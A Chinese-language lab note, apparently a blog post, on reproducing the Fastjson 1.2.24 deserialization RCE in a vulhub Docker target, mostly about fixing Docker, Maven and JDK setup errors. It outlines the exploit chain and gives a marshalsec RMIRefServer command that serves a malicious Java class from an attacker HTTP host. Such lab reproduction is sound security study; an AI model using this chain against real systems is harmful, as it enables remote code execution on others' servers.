Fastjson反序列化漏洞部署复现1.2.24版本反序列RCE笔记

环境部署

docker容器地址:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

启动docker环境 docker容器每次一启动就报错 根据docker log [容器id] 查看报错日志发现有如下报错

library initialization failed - unable to allocate file descriptor table - out of memory

考虑是内存不够 如下方式修改 docker 报错 library initialization failed - unable to allocate file descriptor table - out of memory-CSDN博客

我们在win10虚拟机裸机中安装java8-jdk8+maven3.9.6+marshalsec工具用于启动rmi服务器

maven环境变量总是创建不成功 就去相应目录bin下cmd用mvn即可

mvn环境变量创建无效问题

解决办法:直接将绝对路径写到系统变量的path中 移动到最上面 记得系统调一下分辨率 环境变量那里有个确定要点 分辨率大了看不到 没点自然没保存

接下来进入工具marshalsec目录下执行mvn命令

mvn clean package -DskipTests

又出现报错 No compiler xxxx

mvn clean报错

先记得把jdk下的bin目录加入到环境变量 因为里面有javac

继续解决刚才红色的报错

最终解决参考:解决Maven错误No compiler is provided in this environment. Perhaps you are running on a JRE rather than a JDK? - 简书

总结:所有的java的jdk jre也好 全都直接在path中设置绝对路径

maven jre jdk都是设置到bin目录

但是mvn clean package -DskipTests执行需要一个环境变量JAVA_HOME,且对应的地址是jdk文件夹,不带bin

处理完这两步 也就解决了bug

在target文件夹

接下来我们创建恶意的java类

通过代码javac hacker.java

在kali中通过python启动http服务器 将恶意类放到192.168.206.162的4444端口上

最终通过刚才的工具 启动一个rmi服务器 加载刚才设置的恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.206.162:4444/#hacker" 9999

开始监听9999端口的内容 至此我们就开启了一个rmi服务器

kali中docker启动vulhub的fastjson1.2.24漏洞靶场环境 192.168.206.162 ip地址

通过bp抓包 修改内容 使用1.2.24的payload 我们的win10虚拟机是192.168.206.161

会先通过rmi请求到win10的rmi服务器

之后rmi服务器从kali的4444端口去取恶意类 返回给rmi服务器 rmi服务器再返回给8090的fastjson执行

至此整个完整的利用链也就复现完毕了

Yakit设置的恶意类没办法成功执行命令

设置ip地址为可以访问到的 通过http进行访问测试

恶意类反连成功 但是执行不成功 原因未知

参考地址

漏洞相关原理学习参考:Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

SQL注入关于DNSlog的内容参考:SQL注入之DNSLog外带注入-CSDN博客

不同java JDK版本下载地址

Java Archive | Oracle

java8的安装

JDK 8的下载、安装、配置【保姆级教程】_jdk8-CSDN博客

参考核心网址:

fastjson_1.2.24和Shiro(CVE-2016-4437)漏洞复现_shiro远程命令执行-CSDN博客

相关推荐
二哈赛车手24 分钟前
新人笔记---Spring AI的Advisor以及其底层机制讲解(涉及源码),包含一些遇见的Spring AI的Advisor缺陷问题的解决方案
java·人工智能·spring boot·笔记·spring
用户78937733908531 小时前
Docker 部署踩坑记录:从“构建失败”到“服务跑通”,以及为什么数据被清空了
python·docker
Slow菜鸟2 小时前
Docker 学习篇(三)| Docker安装指南(Linux版)
linux·学习·docker
Tutankaaa2 小时前
知识竞赛软件SaaS版 vs 本地部署
人工智能·经验分享·笔记·学习
许长安2 小时前
RPC 异步调用基本使用方法:基于官方helloworld-async 示例
c++·经验分享·笔记·rpc
sheeta19984 小时前
苍穹外卖Day12笔记
笔记
hnult4 小时前
AI 在线考试全流程 :考试云七大核心 AI 功能深度解读
人工智能·笔记·重构·课程设计
普通young man4 小时前
vim常用编辑和视图(个人笔记)
笔记·编辑器·vim
sheeta19984 小时前
LeetCode 每日一题笔记 日期:2026.05.07 题目:3660. 找到所有可以到达的最大值
笔记·算法·leetcode
wangcheng3035 小时前
智算集群:你身边的智能算力新形态
笔记